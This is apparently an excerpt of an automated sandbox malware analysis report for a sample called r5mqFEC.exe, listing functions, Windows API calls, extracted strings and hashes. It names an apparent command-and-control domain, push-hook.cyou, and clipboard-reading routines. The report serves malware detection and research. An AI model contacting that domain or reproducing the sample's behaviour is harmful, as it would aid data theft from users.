API String ID: 158306478-0
Opcode ID: 7e9ba53a4ff47386c2e973e54062bd1a0d5a99ed2b10a49726d9dc536b7750d3
Instruction ID: 7d1d685844b356fcbe75db9ff017b980ba12e191ca7e8ee8f3eb225682716bca
Opcode Fuzzy Hash: 7e9ba53a4ff47386c2e973e54062bd1a0d5a99ed2b10a49726d9dc536b7750d3
Instruction Fuzzy Hash: B611C4B2502519BF671237759C8DDBF2A7CEEA5394B114027F801A1302FA2CED0392B5

Function 007D57E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,007D4F51,00000000,00000001,00000000,?,?,007D39FA,?,00000000,00000000), ref: 007D57F7
GetLastError.KERNEL32(?,007D4F51,00000000,00000001,00000000,?,?,007D39FA,?,00000000,00000000,?,?,?,007D3340,00000000), ref: 007D5803

Part of subcall function 007D5860: CloseHandle.KERNEL32(FFFFFFFE,007D5813,?,007D4F51,00000000,00000001,00000000,?,?,007D39FA,?,00000000,00000000,?,?), ref: 007D5870

___initconout.LIBCMT ref: 007D5813

Part of subcall function 007D5835: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,007D57D1,007D4F3E,?,?,007D39FA,?,00000000,00000000,?), ref: 007D5848

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,007D4F51,00000000,00000001,00000000,?,?,007D39FA,?,00000000,00000000,?), ref: 007D5828

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 101dbb0a75b2c45a734ab9463f938e8a033f064a4fb8f8e7086c4351da6acec0
Instruction ID: eeb4414fb167be02e36ffef3326624e2574e1936e4f9179d64d621dec4f3bf3a
Opcode Fuzzy Hash: 101dbb0a75b2c45a734ab9463f938e8a033f064a4fb8f8e7086c4351da6acec0
Instruction Fuzzy Hash: F8F0AC36501599FBCF222FD5DC0899A7F36EB097A1F448422FA189A220D6768860EB95

Function 007CDD8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 007CDD95

Strings

csm, xrefs: 007CDDB7
csm, xrefs: 007CDE28

Memory Dump Source

Source File: 00000009.00000002.2415795462.00000000007B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000009.00000002.2415773130.00000000007B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415825046.00000000007D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415852380.00000000007E0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415882192.00000000007E4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2415906819.00000000007E6000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b0000_r5mqFEC.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 619b88fd30c4a2afa256a7c2ef98b4087a5f6e56e8989076bd95e589b9663164
Instruction ID: ef513fbb619fcad4502bfe56953e9e0c14c0551f82dd1f81c03cb496806d7a84
Opcode Fuzzy Hash: 619b88fd30c4a2afa256a7c2ef98b4087a5f6e56e8989076bd95e589b9663164
Instruction Fuzzy Hash: 1431E776900259EBCF364F94CC44E6A7B66FF18315B18456EF8444E111D33BDC62DB91

Analysis Process: r5mqFEC.exePID: 7580, Parent PID: 7276COMMON

Execution Graph

Execution Coverage:	18%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	45.8%
Total number of Nodes:	260
Total number of Limit Nodes:	18

Executed Functions

Function 00439030 Relevance: 32.1, APIs: 11, Strings: 7, Instructions: 621
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00443678,00000000,00000001,00443668,00000000), ref: 00439137
SysAllocString.OLEAUT32(13C511C2), ref: 004391B6
CoSetProxyBlanket.COMBASE(0000FDFC,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 004391FC
SysAllocString.OLEAUT32(13C511C2), ref: 00439265
SysAllocString.OLEAUT32(13C511C2), ref: 0043930E
VariantInit.OLEAUT32(?), ref: 00439384

Strings

E!q#, xrefs: 00439230, 00439199, 00439688, 004391B1
IK, xrefs: 004393A2
C, xrefs: 004390E6
=3, xrefs: 0043915D
Lgfe, xrefs: 00439212
E!q#, xrefs: 004390D3, 004390DD, 004396A7
\, xrefs: 004390F1

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: =3$C$E!q#$E!q#$Lgfe$\$IK
API String ID: 65563702-4011188741
Opcode ID: 74e590896f5bfba1a4c45a56f71c19cb345f99e738f7e67b9f47388845338ca8
Instruction ID: 9251e3c66033709fe23b4e1ee742b75be419a17e7591596e0cc195c23d498240
Opcode Fuzzy Hash: 74e590896f5bfba1a4c45a56f71c19cb345f99e738f7e67b9f47388845338ca8
Instruction Fuzzy Hash: 542233B2908301ABE324CF20CC41B5BBBA5EF99714F148A1DF4959B3C1D7B8D905CB9A

Function 0040CF05 Relevance: 18.1, Strings: 14, Instructions: 574
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0C%E, xrefs: 0040D5A5
(), xrefs: 0040D716
7W"i, xrefs: 0040D5DC
y?O1, xrefs: 0040D32D, 0040D33F
,_"Q, xrefs: 0040D5C6
+S7U, xrefs: 0040D5D1
c]e, xrefs: 0040D5FD
<KuM, xrefs: 0040D58F
gy, xrefs: 0040D608
S7HI, xrefs: 0040D584
;[*], xrefs: 0040D5BB
8E2B0E67CED2B7B7D7CBBD6DF28D3732, xrefs: 0040CF70, 0040D3C0
N3F5, xrefs: 0040D579
push-hook.cyou, xrefs: 0040D341, 0040D771

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID: ()$+S7U$,_"Q$0C%E$7W"i$8E2B0E67CED2B7B7D7CBBD6DF28D3732$;[*]$<KuM$N3F5$S7HI$push-hook.cyou$y?O1$c]e$gy
API String ID: 0-4270778835
Opcode ID: ddd47fdf7f98754443faa8adf7d919d97b52bdec52d9a692a706503d3d5cf8a3
Instruction ID: 95352b80e5630bce15aed1fbf35dc3a728fde8e5f260dc95f2cafd28bad86ac5
Opcode Fuzzy Hash: ddd47fdf7f98754443faa8adf7d919d97b52bdec52d9a692a706503d3d5cf8a3
Instruction Fuzzy Hash: E5121FB19483C18ED3348F65C495BEFBBE1EBD2304F18896DC4DA6B256C774090ACB96

Function 004098F0 Relevance: 11.7, Strings: 9, Instructions: 428
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fhnf, xrefs: 00409C10
{}, xrefs: 00409CBD
xy, xrefs: 00409E03
chs,, xrefs: 00409B51
su, xrefs: 00409CCD
DG, xrefs: 00409D35
8E2B0E67CED2B7B7D7CBBD6DF28D3732, xrefs: 004099C1
Ohs,, xrefs: 00409B2A
fhnf, xrefs: 004099E0, 004099B7, 00409BE4

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID: 8E2B0E67CED2B7B7D7CBBD6DF28D3732$DG$Ohs,$chs,$fhnf$fhnf$xy$su${}
API String ID: 0-817540846
Opcode ID: 3b2e2c17e06f68a588a8714d09a9d05c1357827c6804f6b0a1eae72e70e9dce4
Instruction ID: c4e227adad71c4174b748ad9c04c569e7477bd6730e0a3dc5e2a244df201f6bc
Opcode Fuzzy Hash: 3b2e2c17e06f68a588a8714d09a9d05c1357827c6804f6b0a1eae72e70e9dce4
Instruction Fuzzy Hash: 9CE14A72A483508BD328CF35C85176BBBE2ABD1314F198A3DE5E59B395D738C805CB86

Function 0040E35B Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040E370

Strings

U\, xrefs: 0040E5AA
Zb, xrefs: 0040E59F
Lk, xrefs: 0040E749, 0040E750
r, xrefs: 0040E385
push-hook.cyou, xrefs: 0040E752

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: Uninitialize
String ID: Lk$U\$Zb$push-hook.cyou$r
API String ID: 3861434553-2470801865
Opcode ID: 43aa4fe2daabb56ee0c0189276c116c532aecf1b25a6e7641c8b17845f3c9312
Instruction ID: ef410df6409a163283a486a480043fce37e142e129954a82ac19f0ffe715bc95
Opcode Fuzzy Hash: 43aa4fe2daabb56ee0c0189276c116c532aecf1b25a6e7641c8b17845f3c9312
Instruction Fuzzy Hash: C7A1BEB010C3D18AD7758F26C8947EFBBE1AB93308F188DADD0E95B282D73941058B5B

Function 004089A0 Relevance: 7.7, APIs: 5, Instructions: 242
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004089C2
GetCurrentThreadId.KERNEL32 ref: 004089D5
GetCurrentProcessId.KERNEL32 ref: 004089DD
GetForegroundWindow.USER32 ref: 00408BD2
ExitProcess.KERNEL32 ref: 00408CB5

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 448402f8edc22f0c169554d7cdd299670e5b3afa010ca0547ce2b46543dcc2db
Instruction ID: 8cf386439752addaba4cdd5a2328998a91882dbaf7756ccb1846ca93dac1a1d9
Opcode Fuzzy Hash: 448402f8edc22f0c169554d7cdd299670e5b3afa010ca0547ce2b46543dcc2db
Instruction Fuzzy Hash: CB710677B547044BD708DFBADD8235AFAD2ABC8714F09D43EA885D7390EA789C044689

Function 0043DF70 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043BA46,?,00000010,00000005,00000000,?,00000000,?,?,00419158,?,?,004119B4), ref: 0043DF9E

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040E0D8 Relevance: 1.4, Strings: 1, Instructions: 190COMMON

Download Yara Rule

Strings

efg`, xrefs: 0040E100

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: InitializeThunk
String ID: efg`
API String ID: 2994545307-115929991
Opcode ID: d419471d77cd60d36a74a4cfc581d255441182bb88e46482f4d756978a9b8d72
Instruction ID: ecaf0a4083f3a71b7ac416040caddeb43fa24dcaae48abcd9bbbcdc9a5ac4079
Opcode Fuzzy Hash: d419471d77cd60d36a74a4cfc581d255441182bb88e46482f4d756978a9b8d72
Instruction Fuzzy Hash: BD513876A047505BD720EB229C827AF7252AFD5308F15483DE98977382DF386A1282DF

Function 0043B8E0 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e155f24c94506abb776baca9464a271ad98091412da28c88d531229bcc753791
Instruction ID: bccc040de558ef894b8f721561d0a7d571ef22008b7c5a710cb7038942829d4d
Opcode Fuzzy Hash: e155f24c94506abb776baca9464a271ad98091412da28c88d531229bcc753791
Instruction Fuzzy Hash: E7514976A087108BD720AF259C4072BB7A2EFDA720F29E63DDAD567351D3359C0287C9

Function 0043DED0 Relevance: 1.6, APIs: 1, Instructions: 62
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,00000000,00000000,00000001,?,00000000,00000000,0040B5FE,00000000,00000001), ref: 0043DF36

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 95acdc8339484e663681bcb12902f04beb88cdf387219ed12db2102eace9dda6
Instruction ID: cb6f0903ee34e7aaa3abfaba356f2a2918ae25efb13eb98352585469c15522a7
Opcode Fuzzy Hash: 95acdc8339484e663681bcb12902f04beb88cdf387219ed12db2102eace9dda6
Instruction Fuzzy Hash: 1F017B76D082009BD3181B21ACA2AAB7B68DFDB354F16143DE24387640C62C4807C6EA

Function 0043B7E0 Relevance: 1.5, APIs: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0043B84E

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e673116cc8e36a6bb49cbabe2cdf620d6a173cef19be1431a2d1bf83e7de0cdf
Instruction ID: 55a697b3b7f38dfeef0d40990279f07795ac9d6f77ef781571bf68e037f10c61
Opcode Fuzzy Hash: e673116cc8e36a6bb49cbabe2cdf620d6a173cef19be1431a2d1bf83e7de0cdf
Instruction Fuzzy Hash: AD017633A457080BC300AE7CDC9465ABB96EFD9224F2A063DE5D4873D1DA31990A8295

Function 0040CE80 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CE93

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d70732dda82fda017582911898bf26c0b6c4b0c26e2d0fdaf457f5c9be9936b5
Instruction ID: 65ec1658cf0ed6a28564d450adfe5aa36fc4203d467fc7b256d59c78d50b7f16
Opcode Fuzzy Hash: d70732dda82fda017582911898bf26c0b6c4b0c26e2d0fdaf457f5c9be9936b5
Instruction Fuzzy Hash: D8D0A7346502447BE254F71CEC07F17366D8743726F44423AF662CA1D2D951A910C56A

Function 0040CEB3 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CEC5

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 06a3d9f6b122735c26e726116e1d41753c139dc615071a83ad1d0583a22b387d
Instruction ID: cf94df1d760ae56c019c2728adca80f508d348269e2314f8c78ae93ac2cc27ae
Opcode Fuzzy Hash: 06a3d9f6b122735c26e726116e1d41753c139dc615071a83ad1d0583a22b387d
Instruction Fuzzy Hash: C2D0C9343D8351BBFAA48B08AC13F5032559707F2AF310228B322FE6E1C9E07141860D

Non-executed Functions

Function 00434470 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 111clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00434480
GetWindowLongW.USER32 ref: 004344A5
GetClipboardData.USER32 ref: 004344B5
GlobalLock.KERNEL32 ref: 004344D4
GlobalUnlock.KERNEL32 ref: 004345D2
CloseClipboard.USER32 ref: 004345DB

Strings

], xrefs: 00434566
F, xrefs: 00434539
c, xrefs: 00434525
<, xrefs: 0043454D
G, xrefs: 00434543

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: <$F$G$]$c
API String ID: 2832541153-1818401840
Opcode ID: 38890e0a40a784a9e7e980c3d43740566ea94a1ec1f8cb9bac60998e76c15ca0
Instruction ID: 7e34b2cb0d45b88925ede279eb1f96e1ea01dda7cf2764298d89eb53cb338a03
Opcode Fuzzy Hash: 38890e0a40a784a9e7e980c3d43740566ea94a1ec1f8cb9bac60998e76c15ca0
Instruction Fuzzy Hash: DC41B07180C7819FD300AF38948835EBFE0AB96324F045E2EE5D9863D2C6799549C797

Function 00420870 Relevance: 5.9, Strings: 4, Instructions: 861COMMON

Download Yara Rule

Strings

BBSH, xrefs: 00420C90
GZE^, xrefs: 00420C7C
=79, xrefs: 00420C2E
+2/?, xrefs: 00420C19

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID: +2/?$=79$BBSH$GZE^
API String ID: 0-3392023846
Opcode ID: 4a9b9554aeccc7118d7c71ecac64a319dc115968925317a1cb91039d54e804cb
Instruction ID: c1f6e68bd240d7d39793b4bc48398cba869a69635bf852959f2adde139d26bb4
Opcode Fuzzy Hash: 4a9b9554aeccc7118d7c71ecac64a319dc115968925317a1cb91039d54e804cb
Instruction Fuzzy Hash: E8520170604B518FC735CF29C890727BBE2BF56314F548A6ED4E68BBA2C739A406CB54

Function 0040AD00 Relevance: 5.4, Strings: 4, Instructions: 424COMMON

Download Yara Rule

Strings

@A, xrefs: 0040AEE0
lPLN, xrefs: 0040AD12
IK, xrefs: 0040ADA1
svfZ, xrefs: 0040AD62

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID: @A$lPLN$svfZ$IK
API String ID: 0-1806543684
Opcode ID: 82b8c9b0b0d0b0e388dee64b631462bfb0939d2e875c8b5a40fecc7ac5658aba
Instruction ID: bec2a7d6163232522d4dd9ce5ef8f9438e202c53104cbe0a23bc38ae9935645b
Opcode Fuzzy Hash: 82b8c9b0b0d0b0e388dee64b631462bfb0939d2e875c8b5a40fecc7ac5658aba
Instruction Fuzzy Hash: AEC1187164C3848BD3148E6584A136FBBE2EBC2740F18C93DE4E55B381D7798C0A9B8A

Function 00425E90 Relevance: 5.3, Strings: 4, Instructions: 295COMMON

Download Yara Rule

Strings

@J, xrefs: 00425EF1
KP, xrefs: 00425EEA
raB, xrefs: 00426160
VD, xrefs: 00425EE3

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID: @J$KP$VD$raB
API String ID: 0-1134722806
Opcode ID: 228a0c7c24de460051bea7ad6d1c9bc5878c86792c51d749f83766299ae7dd4a
Instruction ID: db9214028bf4580cd1c873f3a34e9259cba1abe3a371962080498dafbcf198cf
Opcode Fuzzy Hash: 228a0c7c24de460051bea7ad6d1c9bc5878c86792c51d749f83766299ae7dd4a
Instruction Fuzzy Hash: 6A919676704B01AFE720CF64DC81BABBBB1FB82304F54452DE5959B781C378A816CB96

Function 0040C02B Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

IG, xrefs: 0040C171
PQ, xrefs: 0040C1A1
A_, xrefs: 0040C181

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID: PQ$A_$IG
API String ID: 0-2179527320
Opcode ID: 87f178b092da160a7b0e03a4e1fdad8c491404ee0c8813f4c1ba4b67aab2772a
Instruction ID: ef60202bf7eced3403686b2951891c2fb2126a04afed55a681abd0c637390f11
Opcode Fuzzy Hash: 87f178b092da160a7b0e03a4e1fdad8c491404ee0c8813f4c1ba4b67aab2772a
Instruction Fuzzy Hash: 9A41BDB440C341CBC704CF21D89266BB7F1FF96758F249A2DE0C19B692D7388546CB4A

Function 0043C040 Relevance: 3.1, Strings: 2, Instructions: 624COMMON

Download Yara Rule

Strings

f, xrefs: 0043C271
, xrefs: 0043C167, 0043C17A

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: InitializeThunk
String ID: f$
API String ID: 2994545307-508322865
Opcode ID: 2029a2ef19b17bb19bd05767a51e3f201d60a351b6ba135d9f1406ea0ad4d3a3
Instruction ID: d6718dec7c24f7d12ea8c4c9f84381fa8efdffbfccbdfe4ccf543c4645d0ac99
Opcode Fuzzy Hash: 2029a2ef19b17bb19bd05767a51e3f201d60a351b6ba135d9f1406ea0ad4d3a3
Instruction Fuzzy Hash: B31206746083419FD714CF28C8D0A2BBBE1EBC9328F149A6EE59597392C335DC42CB5A

Function 0040E970 Relevance: 2.6, Strings: 2, Instructions: 106COMMON

Download Yara Rule

Strings

efg`, xrefs: 0040E990
efg`, xrefs: 0040E8E0

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID: efg`$efg`
API String ID: 0-3010568471
Opcode ID: 352b08fbeaecad47c87ebdc77db5c47733c3dd721402161c964e13d0f6bc609a
Instruction ID: 0e5240c73f145a77d08930e0c315551f0ba4186630a5d0e5ad9076503220d70f
Opcode Fuzzy Hash: 352b08fbeaecad47c87ebdc77db5c47733c3dd721402161c964e13d0f6bc609a
Instruction Fuzzy Hash: 4631D232A183118BD328DF62C69165FB392ABE4304F1A483ED9C637291CE349D06C3DA

Function 00428CB0 Relevance: 1.7, Strings: 1, Instructions: 490COMMON

Download Yara Rule

Strings

st@, xrefs: 004291A4, 004291E4, 00429206, 0042920A

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID: st@
API String ID: 0-3741395493
Opcode ID: 5a0ffe55dc0f9590e19b93b4e6ade694cc22abc6ad077aad753db58b5530e3bf
Instruction ID: fd81b379ff4992bf613f79005a27ede380d2d1e31e4daf91d48ccd6d522b57e6
Opcode Fuzzy Hash: 5a0ffe55dc0f9590e19b93b4e6ade694cc22abc6ad077aad753db58b5530e3bf
Instruction Fuzzy Hash: 9AF139B550C3918FD3048F24D49136BBBE1AF96308F18887EE5C587382D779D90ACB9A

Function 00440F60 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00440FBA

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\
API String ID: 2994545307-3116432788
Opcode ID: 6d31a6132db982790f1bde5139b1100403c59add5166155f086b98d47ca5c3dc
Instruction ID: 91144feaa9fc6f6c9e4b926c482b4b0bc879a10df7574644f90e1e620fd44459
Opcode Fuzzy Hash: 6d31a6132db982790f1bde5139b1100403c59add5166155f086b98d47ca5c3dc
Instruction Fuzzy Hash: 8C81D0346083418BE718DF18D490A2BB7F1FF99710F05856DE9859B364E734EC91CB8A

Function 0043BCE0 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

5|iL, xrefs: 0043BED0

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: 15748e0e8b40cced74bc07917236e402747521d5de867efe9ea67fe5f28c6c5c
Instruction ID: 802ce28fd04fc2f5bd729f7f4bd0fc546bf032d51cf96316bbb3843ff7b699f8
Opcode Fuzzy Hash: 15748e0e8b40cced74bc07917236e402747521d5de867efe9ea67fe5f28c6c5c
Instruction Fuzzy Hash: AB71FA36B047108BC7149F2C8C80767B7A6EBC9324F15A66EEAA4DB365C775DC028BC5

Function 0040EA38 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

D, xrefs: 0040EC76

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: b2ed4e45026cbbbd55ed16fe12c951ea5c2f741830c1b1cd59a57fb95d9f28d6
Instruction ID: b768361b178031b247dea6d1c575d4c8eb830ee5863a17f0432992a31c0fd595
Opcode Fuzzy Hash: b2ed4e45026cbbbd55ed16fe12c951ea5c2f741830c1b1cd59a57fb95d9f28d6
Instruction Fuzzy Hash: 145100B05493809AE720CF16C86175BBBF1FB92744F20981CE6D51B394D7B99849CF87

Function 0043F8D0 Relevance: .8, Instructions: 813COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b530ae30669dfc10addbe003a4c6b76f2eb95279c2c9ee58aff2161a7d1c7b54
Instruction ID: d0b954aed4f796411785180baa8ced4f0e63ee4f94f244d62a8f27c5611ddeae
Opcode Fuzzy Hash: b530ae30669dfc10addbe003a4c6b76f2eb95279c2c9ee58aff2161a7d1c7b54
Instruction Fuzzy Hash: 4042F236E44215CFDB08CF68D8916AEB7F2FB8E310F1A857DC946A7391C6389915CB84

Function 004077D0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

